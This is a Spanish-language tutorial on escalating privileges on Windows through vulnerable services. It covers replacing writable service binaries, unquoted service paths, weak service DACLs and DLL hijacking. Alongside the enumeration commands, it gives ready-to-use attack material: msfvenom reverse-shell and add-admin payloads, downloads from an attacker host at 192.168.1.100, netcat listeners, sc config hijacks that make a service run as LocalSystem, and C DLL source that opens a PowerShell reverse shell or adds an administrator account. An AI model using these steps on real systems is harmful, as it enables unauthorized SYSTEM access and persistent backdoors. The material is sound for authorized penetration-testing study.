Explotación de Servicios, Tareas Programadas y MSI Elevation
Teoría: Servicios de Windows
Los servicios de Windows son administrados por el Service Control Manager (SCM).
Estructura de un Servicio
BINARY_PATH_NAME → El ejecutable que se ejecutará
SERVICE_START_NAME → Cuenta de usuario bajo la que corre
DACL → Permisos sobre quién puede controlarlo
START_TYPE → Cómo se inicia (Auto, Manual, Disabled)Ver configuración:
sc qc nombre_servicioEjemplo:
SERVICE_NAME: AppService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
BINARY_PATH_NAME : C:\CustomApp\AppService.exe
SERVICE_START_NAME : LocalSystemAlmacenamiento en Registro
HKLM\SYSTEM\CurrentControlSet\Services\<nombre_servicio>Valores:
- ImagePath → Binario del servicio
- ObjectName → Usuario que ejecuta
- Security → DACL (si existe)
Enumeración de Servicios
# Todos los servicios
Get-CimInstance -ClassName win32_service | Select Name, State, PathName, StartMode
# Servicios NO en C:\Windows\ (POTENCIALMENTE VULNERABLES)
Get-CimInstance -ClassName win32_service |
Where-Object {$_.PathName -notlike 'C:\Windows\*'} |
Select Name, PathName, StartName, State
# Servicios como SYSTEM o LocalService
Get-CimInstance -ClassName win32_service |
Where-Object {$_.StartName -like "*SYSTEM*" -or $_.StartName -like "*LocalService*"} |
Select Name, PathName, StartName
# Detalles específicos
sc qc AppService
sc query AppServiceFiltros por Estado
# Solo servicios CORRIENDO (Running)
Get-CimInstance -ClassName win32_service |
Where-Object {$_.State -eq "Running"} |
Select Name, State, PathName, StartName
# Solo servicios DETENIDOS (Stopped)
Get-CimInstance -ClassName win32_service |
Where-Object {$_.State -eq "Stopped"} |
Select Name, State, PathName, StartName
# Servicios detenidos pero con inicio AUTOMÁTICO (deberían estar corriendo = raro)
Get-CimInstance -ClassName win32_service |
Where-Object {$_.State -eq "Stopped" -and $_.StartMode -eq "Auto"} |
Select Name, State, StartMode, PathName, StartName
# Por tipo de inicio
Get-CimInstance -ClassName win32_service |
Where-Object {$_.StartMode -eq "Auto"} | # Automático al bootear
Select Name, State, StartMode, StartName
Get-CimInstance -ClassName win32_service |
Where-Object {$_.StartMode -eq "Manual"} | # Manual (no inicia solo)
Select Name, State, StartMode, StartName
Get-CimInstance -ClassName win32_service |
Where-Object {$_.StartMode -eq "Disabled"} | # Deshabilitados
Select Name, State, StartMode, StartName
# Alternativa con sc (cmd)
sc query type= all state= running # Solo corriendo
sc query type= all state= stopped # Solo detenidos
sc query type= all state= all # TodosFiltros por Usuario que lo Ejecuta
# Servicios corriendo como SYSTEM (máximo privilegio)
Get-CimInstance -ClassName win32_service |
Where-Object {$_.StartName -eq "LocalSystem" -or $_.StartName -like "*SYSTEM*"} |
Select Name, State, StartName, PathName
# Servicios corriendo como usuario de dominio (credenciales guardadas)
Get-CimInstance -ClassName win32_service |
Where-Object {$_.StartName -like "*\*" -and $_.StartName -notlike "*NT AUTHORITY*"} |
Select Name, State, StartName, PathName
# Servicios corriendo como usuario local específico
Get-CimInstance -ClassName win32_service |
Where-Object {$_.StartName -like ".\*"} |
Select Name, State, StartName, PathName
# Listar usuarios únicos que corren servicios (resumen de qué cuentas se usan)
Get-CimInstance -ClassName win32_service |
Select-Object StartName |
Sort-Object StartName -Unique
# Servicios NO corriendo como cuentas del sistema (cuentas de usuario = interesante)
Get-CimInstance -ClassName win32_service |
Where-Object {
$_.StartName -ne "LocalSystem" -and
$_.StartName -notlike "*NT AUTHORITY*" -and
$_.StartName -notlike "*NT SERVICE*" -and
$_.StartName -ne $null
} |
Select Name, State, StartName, PathNameFiltros Combinados (Más Útiles para Escalada)
# CRÍTICO: Servicios corriendo como SYSTEM fuera de C:\Windows\
Get-CimInstance -ClassName win32_service |
Where-Object {
($_.StartName -like "*SYSTEM*" -or $_.StartName -eq "LocalSystem") -and
$_.PathName -notlike "C:\Windows\*" -and
$_.State -eq "Running"
} |
Select Name, State, StartName, PathName
# Servicios de terceros corriendo (no Microsoft, no Windows)
Get-CimInstance -ClassName win32_service |
Where-Object {
$_.PathName -notlike "C:\Windows\*" -and
$_.PathName -notlike "*Microsoft*" -and
$_.State -eq "Running"
} |
Select Name, State, StartName, PathName
# Servicios con rutas sin comillas y espacios (Unquoted Path)
Get-CimInstance -ClassName win32_service |
Where-Object {
$_.PathName -notlike '"*' -and # Sin comillas al inicio
$_.PathName -match " " -and # Con espacios
$_.PathName -notlike "C:\Windows\*" # Fuera de Windows
} |
Select Name, PathName, StartName
# Verificar permisos de un binario específico (post-identificación)
icacls "C:\ruta\al\servicio.exe"
# Buscar: Everyone:(F), Everyone:(M), Users:(W), BUILTIN\Users:(M)
# Verificar permisos del directorio del servicio
$svc = Get-CimInstance -ClassName win32_service -Filter "Name='nombre_servicio'"
$dir = Split-Path $svc.PathName -Parent
icacls $dir
# Ver si PUEDES reiniciar un servicio (importante para explotar)
sc query nombre_servicio
sc stop nombre_servicio # Si falla = no tienes permisos
sc start nombre_servicio # Si falla = no tienes permisosResumen Rápido - Comandos cmd
rem Todos los servicios con detalle
sc query type= all state= all
rem Solo corriendo
sc query state= running
rem Detalles de servicio específico
sc qc nombre_servicio
rem Ver usuario que ejecuta
sc qc nombre_servicio | findstr SERVICE_START_NAME
rem Buscar servicios de terceros
wmic service get name,startname,pathname | findstr /i /v "C:\Windows\\"Vector 1: Insecure Permissions on Service Executable
¿Cómo funciona? Si el binario del servicio tiene permisos débiles (Write para Users), reemplázalo con código malicioso. Cuando el servicio se reinicia, se ejecuta como SYSTEM.
Identificar Servicio Vulnerable
# Listar servicios no en Windows
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
# Ejemplo vulnerable:
# CustomMonitor C:\PROGRA~2\SYSTEM~1\AppService.exe
# Verificar permisos del binario
icacls "C:\Program Files\Enterprise\AppService.exe"
# Si ves "Everyone:(M)" o "(F)" o "(W)" = VULNERABLEExplotación Paso a Paso
1. Crear binario malicioso (reverse shell)
# En Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4445 -f exe-service -o rev-svc.exe
# O generar usuario admin
# (compilar C code que ejecute net user newadmin Password123! /add)2. Transferir al objetivo
iwr -uri http://192.168.1.100/rev-svc.exe -OutFile rev-svc.exe3. Reemplazar binario del servicio
# Respaldar original
cd "C:\Program Files\Enterprise"
move AppService.exe AppService.exe.bak
# Copiar malicioso
move C:\Users\usuario\rev-svc.exe AppService.exe
# Dar permisos completos
icacls AppService.exe /grant Everyone:F4. Listener en Kali
nc -lvp 44455. Reiniciar servicio
sc stop CustomMonitor
sc start CustomMonitor
# O si no puedes:
shutdown /r /t 06. Recibir shell
Listening on 0.0.0.0 4445
Connection received from 192.168.1.100 50649
C:\Windows\system32>whoami
dominio\svcuserVector 2: Unquoted Service Paths
Cuando Windows inicia un servicio, necesita encontrar el ejecutable. Para eso llama a la función CreateProcess internamente y le pasa la ruta del binario.
El problema surge cuando esa ruta tiene espacios y NO está entre comillas. Windows no sabe dónde termina el nombre del archivo y dónde empiezan los argumentos, entonces lo intenta adivinar.
Cómo lo interpreta Windows
Imagina esta ruta sin comillas:
C:\Program Files\Enterprise Apps\Current Version\service.exeWindows lee de izquierda a derecha y en cada espacio que encuentra, prueba si existe un ejecutable con lo que llevaba hasta ahí, añadiéndole .exe:
Intento 1: C:\Program.exe → ¿existe? No → siguiente
Intento 2: C:\Program Files\Enterprise.exe → ¿existe? No → siguiente
Intento 3: C:\Program Files\Enterprise Apps\Current.exe → ¿existe? No → siguiente
Intento 4: C:\Program Files\Enterprise Apps\Current Version\service.exe → ¿existe? Sí → ejecutarWindows ejecuta el primero que encuentre. Si en el intento 3 existiera un archivo llamado Current.exe en C:\Program Files\Enterprise Apps\, Windows lo ejecutaría en lugar del servicio real.
Por qué es peligroso
Los servicios en Windows frecuentemente corren como LocalSystem (SYSTEM), que es el usuario con más privilegios del sistema. Si logras que Windows ejecute tu binario en lugar del legítimo, tu código corre con esos privilegios.
La combinación necesaria para que sea explotable:
1. Servicio con ruta sin comillas y con espacios
2. El servicio corre como SYSTEM o admin
3. Tienes permisos de escritura en alguno de los directorios candidatos
4. Puedes reiniciar el servicio (o esperar a que lo haga el sistema)Si se dan las 4 condiciones, puedes colocar tu binario con el nombre correcto en el directorio correcto y cuando el servicio arranque, ejecutas código como SYSTEM.
Por qué existe esta vulnerabilidad
Es un error de configuración. El desarrollador o administrador instaló el software en una ruta con espacios (algo común en Windows, como C:\Program Files\) pero no puso la ruta entre comillas en la configuración del servicio. Windows no lo fuerza, simplemente acepta la ruta tal cual.
La diferencia entre vulnerable y no vulnerable es solo esto:
VULNERABLE:
BINARY_PATH_NAME: C:\Program Files\My App\service.exe
NO VULNERABLE:
BINARY_PATH_NAME: "C:\Program Files\My App\service.exe"Una sola diferencia: las comillas. Sin ellas, Windows queda expuesto al comportamiento de búsqueda descrito arriba.
Por qué los directorios más profundos son los más útiles
En el ejemplo de los 4 intentos, los primeros dos (C:\ y C:\Program Files\) normalmente no son escribibles por usuarios normales. Windows los protege por defecto. Pero el tercer directorio, que suele ser el directorio de instalación de la aplicación, a veces tiene permisos más laxos porque el desarrollador necesitaba que la aplicación pudiera escribir ahí (logs, configuración, etc.) y abrió los permisos sin considerar el riesgo.
C:\ → Protegido por Windows (necesitas SYSTEM/Admin)
C:\Program Files\ → Protegido por Windows (necesitas Admin)
C:\Program Files\My App\ → Depende del desarrollador ← más probable writablePor eso la estrategia siempre es ir al directorio más profundo que aún sea candidato en la búsqueda de Windows.
Identificar - Múltiples Métodos
Método 1: wmic (cmd - más común)
rem Solo servicios sin comillas y fuera de Windows
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """"
rem Con más detalle (incluye estado y usuario)
wmic service get name,pathname,startname,state | findstr /i /v "C:\Windows\\" | findstr /i /v """"Método 2: PowerShell - Get-CimInstance
# Buscar servicios con espacios en path y sin comillas
Get-CimInstance -ClassName win32_service |
Where-Object {
$_.PathName -notlike '"*"' -and # Sin comillas
$_.PathName -match ' ' -and # Con espacios
$_.PathName -notlike 'C:\Windows\*' # Fuera de Windows
} |
Select-Object Name, State, StartName, PathName
# Versión más detallada - muestra también si puedes reiniciarlo
Get-CimInstance -ClassName win32_service |
Where-Object {
$_.PathName -notlike '"*"' -and
$_.PathName -match ' ' -and
$_.PathName -notlike 'C:\Windows\*'
} |
Select-Object Name, State, StartName, StartMode, PathName |
Format-Table -AutoSizeMétodo 3: PowerShell - Get-WmiObject
# Alternativa con WMI
Get-WmiObject -Class Win32_Service |
Where-Object {
($_.PathName -notmatch '^"') -and
($_.PathName -match '\s') -and
($_.PathName -notlike 'C:\Windows\*')
} |
Select-Object Name, PathName, StartName, StateMétodo 4: sc qc (cmd - verificar servicio específico)
rem Ver configuración de un servicio específico
sc qc NombreServicio
rem En el output buscar:
rem BINARY_PATH_NAME: C:\Program Files\App Name\service.exe
rem ↑ Si tiene espacios y no tiene comillas = VULNERABLEMétodo 5: PowerShell - Generar rutas interpretadas automáticamente
# Este script genera automáticamente todos los paths que Windows intentaría
function Get-UnquotedPaths {
param([string]$ServicePath)
$parts = $ServicePath -split '\\'
$paths = @()
$current = ""
foreach ($part in $parts) {
if ($part -match ' ') {
# Este segmento tiene espacio = Windows intentará ejecutar aquí
$trimmed = ($part -split ' ')[0]
$paths += "$current\$trimmed.exe"
}
$current += "\$part"
}
return $paths
}
# Aplicar a todos los servicios vulnerables
Get-CimInstance -ClassName win32_service |
Where-Object {$_.PathName -notlike '"*' -and $_.PathName -match ' ' -and $_.PathName -notlike 'C:\Windows\*'} |
ForEach-Object {
Write-Host "Servicio: $($_.Name)" -ForegroundColor Yellow
Write-Host "Path: $($_.PathName)"
Write-Host "Rutas que Windows intentará:"
$paths = Get-UnquotedPaths $_.PathName
$paths | ForEach-Object { Write-Host " → $_" }
Write-Host ""
}Método 6: PowerUp (automático)
. .\PowerUp.ps1
Get-UnquotedService
# Output:
# ServiceName : NombreServicio
# Path : C:\Program Files\App Name\service.exe
# ModifiablePath : C:\Program Files\App Name\
# CanRestart : True/False
# AbuseFunction : Write-ServiceBinary -Name 'NombreServicio' -Path <HijackPath>Verificar Permisos en Directorio
Una vez identificado el servicio vulnerable, verificar en qué ruta tienes permisos de escritura:
# Verificar permisos en cada path candidato
$candidatePaths = @(
"C:\",
"C:\Program Files\",
"C:\Program Files\App Name\"
)
foreach ($path in $candidatePaths) {
Write-Host "=== $path ===" -ForegroundColor Cyan
icacls $path
Write-Host ""
}
# Buscar específicamente si Users o Authenticated Users tienen Write
foreach ($path in $candidatePaths) {
$perms = icacls $path 2>$null
if ($perms | Select-String "Users.*W|Authenticated Users.*W|Everyone.*W|Users.*M|Authenticated Users.*M") {
Write-Host "WRITABLE: $path" -ForegroundColor Red
}
}Qué buscar en el output de icacls:
BUILTIN\Users:(OI)(CI)(RX,W) ← W = Write = PUEDES ESCRIBIR
NT AUTHORITY\Authenticated Users:(M) ← M = Modify = PUEDES ESCRIBIR
Everyone:(F) ← F = Full Control = PUEDES ESCRIBIR
BUILTIN\Users:(RX) ← Solo Read+Execute = NO puedes escribirVerificar si puedes iniciar/detener el servicio:
# Si puedes, no necesitas esperar reboot
Start-Service NombreServicio
Stop-Service NombreServicio
# Alternativa con sc
sc stop NombreServicio
sc start NombreServicio
# Si devuelve error de permisos = necesitas reboot o forzarlo de otra formaExplotación
1. Crear binario malicioso
# Reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4446 -f exe-service -o Current.exe
# O crear usuario admin (más sigiloso, no necesita listener)
msfvenom -p windows/x64/exec CMD="net user attacker Password123! /add && net localgroup administrators attacker /add" -f exe-service -o Current.exe2. Transferir al objetivo
iwr -uri http://192.168.1.100/Current.exe -OutFile Current.exe3. Colocar en ruta correcta con nombre correcto
# El nombre del binario debe coincidir con lo que Windows intenta ejecutar
# Ejemplo: Si el path es C:\Program Files\App Name\service.exe
# Windows intenta C:\Program Files\App.exe y C:\Program Files\App Name\App.exe... etc.
copy .\Current.exe "C:\Program Files\App Name\Current.exe"
# Verificar que quedó en el lugar correcto
Get-ChildItem "C:\Program Files\App Name\" | Where-Object {$_.Name -like "*.exe"}4. Listener (si usas reverse shell)
nc -lvp 44465. Reiniciar servicio
# Si tienes permisos de reinicio
Start-Service NombreServicio
# o
sc stop NombreServicio
sc start NombreServicio
# Nota: puede mostrar error al iniciar (normal)
# El binario se ejecuta de todas formas antes del error6. Verificar escalada
net user
net localgroup administrators
whoami7. Limpiar (restaurar servicio original)
# Detener servicio
Stop-Service NombreServicio
# Eliminar binario malicioso
Remove-Item "C:\Program Files\App Name\Current.exe"
# El servicio usará el binario original al reiniciarse
Start-Service NombreServicioCon PowerUp (automático)
# Identificar
Get-UnquotedService
# Explotar directamente (crea usuario john:Password123!)
Write-ServiceBinary -Name 'NombreServicio' -Path "C:\Program Files\App Name\Current.exe"
# Reiniciar
Restart-Service NombreServicio
# Verificar
net localgroup administratorsVector 3: Insecure Service Permissions (DACL Débil)
¿Cómo funciona?
Cada servicio en Windows tiene un DACL (Discretionary Access Control List) que controla quién puede hacer qué con ese servicio. No es el permiso del binario, sino el permiso del objeto servicio en sí mismo dentro del SCM (Service Control Manager).
Si ese DACL está mal configurado y permite a usuarios normales modificar la configuración del servicio, puedes:
- Cambiar el binario que ejecuta el servicio a uno tuyo
- Cambiar el usuario que lo ejecuta a
LocalSystem(SYSTEM) - Reiniciar el servicio
- Tu binario corre como SYSTEM
La diferencia con el Vector 1 es que aquí no necesitas permisos sobre el archivo, sino sobre el servicio en el SCM.
Permisos del DACL que importan:
SERVICE_ALL_ACCESS → Control total del servicio (CRÍTICO)
SERVICE_CHANGE_CONFIG → Puede cambiar la configuración del servicio
SERVICE_START → Puede iniciar el servicio
SERVICE_STOP → Puede detener el servicio
GENERIC_WRITE → Escritura genérica (puede incluir cambio de config)Si BUILTIN\Users o Everyone tiene alguno de estos = VULNERABLE.
Detección - Método 1: accesschk.exe (Sysinternals)
# Ver DACL de un servicio específico
accesschk.exe -qlc NombreServicio
# Buscar todos los servicios donde Users tiene permisos de escritura
accesschk.exe -uwcqv "Users" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Everyone" *
# Flags:
# -u = suprimir errores
# -w = solo mostrar acceso de escritura
# -c = objeto es un servicio
# -q = sin banner
# -v = verboseOutput vulnerable:
RW NombreServicio
SERVICE_ALL_ACCESSOutput seguro:
R NombreServicio
SERVICE_QUERY_CONFIG
SERVICE_QUERY_STATUS
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_INTERROGATEDetección - Método 2: sc.exe sdshow (nativo Windows)
# Ver Security Descriptor del servicio en formato SDDL
sc sdshow NombreServicio
# Resultado típico vulnerable:
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;RPWP;;;WD)
# Lo que buscar:
# RP = SERVICE_START
# WP = SERVICE_STOP
# CC = SERVICE_QUERY_CONFIG
# DC = SERVICE_CHANGE_CONFIG ← ESTO ES LO PELIGROSO
# LC = SERVICE_ENUMERATE_DEPENDENTS
# SW = SERVICE_USER_DEFINED_CONTROL
# WD = Everyone (en la última sección)Decodificar SDDL manualmente:
(A;;RPWP;;;WD)
A = Allow
RP = SERVICE_START
WP = SERVICE_STOP
WD = Everyone (World)
Traducción: Everyone puede iniciar y detener el servicioDetección - Método 3: PowerShell nativo
# Ver permisos de todos los servicios usando Get-Acl
$services = Get-WmiObject -Class Win32_Service
foreach ($svc in $services) {
$svcName = $svc.Name
try {
$sddl = (sc.exe sdshow $svcName 2>$null) -join ""
# Buscar si Everyone (WD) o Users (BU) tienen Change Config (DC)
if ($sddl -match "DC.*WD|WD.*DC|DC.*BU|BU.*DC") {
Write-Host "POTENCIALMENTE VULNERABLE: $svcName" -ForegroundColor Yellow
Write-Host "SDDL: $sddl"
Write-Host ""
}
} catch {}
}# Alternativa: Usar Get-Acl sobre el registro del servicio
# Los servicios están en el registro, y sus ACLs son accesibles
$svcKey = "HKLM:\SYSTEM\CurrentControlSet\Services\NombreServicio"
$acl = Get-Acl $svcKey
$acl.Access | Format-Table IdentityReference, RegistryRights, AccessControlType# Ver qué permisos tiene el usuario actual sobre un servicio específico
$currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$groups = $currentUser.Groups | ForEach-Object { $_.Translate([System.Security.Principal.NTAccount]).Value }
Write-Host "Usuario actual: $($currentUser.Name)"
Write-Host "Grupos: $($groups -join ', ')"Detección - Método 4: WMI
# Listar todos los servicios con su usuario de ejecución
Get-WmiObject -Class Win32_Service |
Select-Object Name, StartName, PathName, State |
Where-Object { $_.StartName -ne $null } |
Sort-Object StartName
# Verificar permisos usando WMI directamente
$svc = Get-WmiObject -Class Win32_Service -Filter "Name='NombreServicio'"
$svc.GetSecurityDescriptor()Detección Rápida - Todos los Métodos
# 1. Con accesschk (más rápido si lo tienes)
accesschk.exe -uwcqv "Users" * 2>$null
accesschk.exe -uwcqv "Everyone" * 2>$null
# 2. Con sc sdshow (nativo)
sc sdshow NombreServicio
# 3. Registro del servicio
Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Services\NombreServicio" |
Format-List
# 4. PowerUp (automático)
Get-ServiceDetail -Name NombreServicioExplotación
1. Confirmar que puedes cambiar la configuración
# Verificar permiso actual
accesschk.exe -qlc NombreServicio
# Debe mostrar SERVICE_CHANGE_CONFIG o SERVICE_ALL_ACCESS para tu usuario/grupo2. Crear binario malicioso
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4447 -f exe-service -o rev-svc3.exe3. Transferir
iwr -uri http://192.168.1.100/rev-svc3.exe -OutFile C:\Users\usuario\rev-svc3.exe
icacls "C:\Users\usuario\rev-svc3.exe" /grant Everyone:F4. Reconfigurar el servicio
# NOTA: Espacios después de = son IMPORTANTES en sc config
sc config NombreServicio binPath= "C:\Users\usuario\rev-svc3.exe" obj= LocalSystem
# Verificar que se aplicó
sc qc NombreServicio
# Debe mostrar:
# BINARY_PATH_NAME : C:\Users\usuario\rev-svc3.exe
# SERVICE_START_NAME : LocalSystem5. Listener
nc -lvp 44476. Reiniciar
sc stop NombreServicio
sc start NombreServicio7. Recibir shell como SYSTEM
whoami
nt authority\systemDiferencia con los Otros Vectores
Vector 1 (Insecure Permissions on Executable):
→ El archivo .exe del servicio tiene permisos débiles
→ Lo reemplazas directamente
→ Necesitas Write sobre el ARCHIVO
Vector 3 (Insecure Service Permissions - DACL):
→ El OBJETO SERVICIO en SCM tiene permisos débiles
→ No tocas el archivo, cambias la configuración
→ Necesitas SERVICE_CHANGE_CONFIG sobre el SERVICIO
Cuándo usar Vector 3:
→ El binario del servicio está protegido (solo Admins/SYSTEM)
→ Pero el servicio en sí permite que usuarios normales lo reconfiguren
→ Puedes apuntar el binario a uno tuyo sin tocar el originalVector 4: DLL Hijacking
¿Cómo funciona?
Cuando Windows ejecuta un programa, ese programa necesita cargar DLLs (librerías). Windows sigue un orden de búsqueda para encontrarlas. Si una DLL no existe en los primeros directorios del orden, busca en los siguientes.
Si puedes escribir en alguno de esos directorios y colocar una DLL con el nombre que el programa busca, Windows la cargará y ejecutará tu código con los privilegios del proceso.
Hay dos casos principales:
- DLL faltante: El programa busca una DLL que no existe en el sistema. Colocas la tuya con ese nombre.
- DLL existente con directorio writable: La DLL existe pero el directorio de la aplicación tiene permisos débiles. Colocas la tuya antes que la original en el orden de búsqueda.
Orden de búsqueda (Safe DLL Search Mode activado - default):
1. Directorio de la aplicación ← PRIMERO (más fácil de abusar)
2. C:\Windows\System32
3. C:\Windows\System16 (16-bit)
4. C:\Windows
5. Directorio actual
6. Directorios en variable PATHCuando Safe DLL Search Mode está desactivado, el directorio actual sube a la posición 2, lo que amplía aún más el vector.
Enumeración Previa
Antes de buscar DLLs, identificar aplicaciones instaladas y sus directorios:
# Aplicaciones instaladas (64-bit)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" |
Select-Object DisplayName, InstallLocation, DisplayVersion |
Where-Object {$_.DisplayName -ne $null}
# Aplicaciones instaladas (32-bit en sistema 64-bit)
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" |
Select-Object DisplayName, InstallLocation, DisplayVersion |
Where-Object {$_.DisplayName -ne $null}
# Aplicaciones en directorios comunes
Get-ChildItem "C:\Program Files\", "C:\Program Files (x86)\" | Select-Object Name, FullName
# Aplicaciones en directorios no estándar (más probables de tener permisos débiles)
Get-ChildItem "C:\" -Directory | Where-Object {$_.Name -notmatch "Windows|Users|Program"} | Select-Object Name, FullNameVerificar si puedes escribir en el directorio de la aplicación:
# Verificar permisos con icacls
icacls "C:\CustomApp\"
# Probar directamente escribiendo un archivo de prueba
echo "test" > "C:\CustomApp\test.txt"
type "C:\CustomApp\test.txt"
# Si funciona = tienes Write en ese directorio
# Limpiar
Remove-Item "C:\CustomApp\test.txt" -ErrorAction SilentlyContinueIdentificar DLL Faltante - Sin Process Monitor
Método 1: dumpbin (si está disponible)
# Ver qué DLLs importa un binario
dumpbin.exe /imports "C:\CustomApp\app.exe"
# Filtrar solo DLLs
dumpbin.exe /imports "C:\CustomApp\app.exe" | findstr /i "\.dll"
# Ver si esas DLLs existen en el sistema
$dlls = dumpbin.exe /imports "C:\CustomApp\app.exe" | Select-String "\.dll" | ForEach-Object {$_.ToString().Trim()}
foreach ($dll in $dlls) {
$exists = Test-Path "C:\Windows\System32\$dll"
Write-Host "$dll - Existe: $exists"
}Método 2: strings (buscar referencias a DLLs en el binario)
# Buscar strings que terminen en .dll dentro del binario
strings "C:\CustomApp\app.exe" | findstr /i "\.dll"
# Con PowerShell nativo (sin herramientas extra)
$bytes = [System.IO.File]::ReadAllBytes("C:\CustomApp\app.exe")
$text = [System.Text.Encoding]::ASCII.GetString($bytes)
$matches = [regex]::Matches($text, '[a-zA-Z0-9_\-]+\.dll')
$matches | ForEach-Object {$_.Value} | Sort-Object -UniqueMétodo 3: Ejecutar el proceso y monitorear con PowerShell
# Iniciar el proceso
$proc = Start-Process "C:\CustomApp\app.exe" -PassThru
# Ver los módulos (DLLs) cargados por el proceso
Start-Sleep -Seconds 2
$proc.Modules | Select-Object ModuleName, FileName | Format-Table -AutoSize
# Ver DLLs cargadas usando Get-Process
$proc = Get-Process -Name "app" -ErrorAction SilentlyContinue
if ($proc) {
$proc.Modules | Select-Object ModuleName, FileName | Format-Table -AutoSize
}
# Detener proceso al terminar
Stop-Process -Name "app" -ErrorAction SilentlyContinueMétodo 4: Listar módulos de un proceso ya corriendo
# Ver todos los procesos con sus DLLs cargadas
Get-Process | ForEach-Object {
$proc = $_
try {
$proc.Modules | ForEach-Object {
[PSCustomObject]@{
Process = $proc.Name
PID = $proc.Id
DLL = $_.ModuleName
Path = $_.FileName
}
}
} catch {}
} | Format-Table -AutoSize
# Filtrar solo proceso específico
Get-Process -Name "app" | ForEach-Object {
try { $_.Modules | Select-Object ModuleName, FileName }
catch {}
} | Format-Table -AutoSizeMétodo 5: Verificar si una DLL existe en rutas del orden de búsqueda
# Dado el nombre de una DLL, verificar en qué paths está (o no está)
$dllName = "MissingDll.dll"
$searchPaths = @(
"C:\CustomApp\", # Directorio de la aplicación
"C:\Windows\System32\",
"C:\Windows\SysWOW64\",
"C:\Windows\",
"$PWD\" # Directorio actual
)
# Agregar directorios del PATH
$env:PATH -split ";" | ForEach-Object { $searchPaths += "$_\" }
foreach ($path in $searchPaths) {
$fullPath = Join-Path $path $dllName
if (Test-Path $fullPath) {
Write-Host "ENCONTRADA: $fullPath" -ForegroundColor Green
} else {
Write-Host "NO EXISTE: $fullPath" -ForegroundColor Red
}
}Método 6: Usar listdlls (Sysinternals, desde terminal)
# Listar DLLs de todos los procesos
listdlls.exe
# Listar DLLs de un proceso específico
listdlls.exe app.exe
# Buscar DLLs sin firma (más probable de ser vulnerables)
listdlls.exe -u app.exe
# Buscar en todos los procesos DLLs desde paths no estándar
listdlls.exe | findstr /i /v "C:\Windows\"Método 7: Registro del sistema (DLLs conocidas por Windows)
# Windows mantiene una lista de DLLs "conocidas" que siempre carga desde System32
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
# Si la DLL que buscas NO está aquí = puede ser hijackeada
# Si SÍ está aquí = Windows la cargará siempre desde System32, no se puede hijackearCrear DLL Maliciosa
Opción 1: Crear usuario administrador
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
int i;
i = system("net user attacker Password123! /add");
i = system("net localgroup administrators attacker /add");
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}Opción 2: Reverse shell (código C)
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("powershell -nop -w hidden -c \"$c=New-Object Net.Sockets.TCPClient('192.168.1.100',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.Encoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=[text.encoding]::ASCII.GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()\"");
break;
}
return TRUE;
}Compilar (Opciones 1 y 2):
# DLL de 64-bit
x86_64-w64-mingw32-gcc MissingDll.cpp --shared -o MissingDll.dll
# DLL de 32-bit (si la aplicación es 32-bit)
i686-w64-mingw32-gcc MissingDll.cpp --shared -o MissingDll.dllOpción 3: msfvenom (más rápido, sin compilar)
msfvenom puede generar DLLs maliciosas directamente sin necesidad de escribir ni compilar código C.
# DLL con reverse shell (64-bit)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o MissingDll.dll
# DLL con reverse shell (32-bit - si la app es 32-bit)
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o MissingDll.dll
# DLL con meterpreter (más estable, más funciones)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o MissingDll.dll
# DLL que crea usuario admin (usando exec payload)
msfvenom -p windows/x64/exec CMD="net user attacker Password123! /add && net localgroup administrators attacker /add" -f dll -o MissingDll.dllImportante con msfvenom: el nombre del archivo de salida debe coincidir exactamente con el nombre de la DLL que el proceso busca.
# Si la app busca "TextShaping.dll", el output debe llamarse igual
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o TextShaping.dllListener en Kali (para reverse shell):
# Con netcat
nc -lvp 4444
# Con Metasploit (para meterpreter)
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; run"Explotar
# 1. Transferir DLL al objetivo
iwr -uri http://192.168.1.100/MissingDll.dll -OutFile MissingDll.dll
# 2. Colocar en directorio de aplicación (primero del orden de búsqueda)
move MissingDll.dll "C:\CustomApp\MissingDll.dll"
# 3. Verificar que está en el lugar correcto
Get-ChildItem "C:\CustomApp\" | Where-Object {$_.Name -like "*.dll"}
# 4. Listener (si usas reverse shell)
# nc -lvp 4444
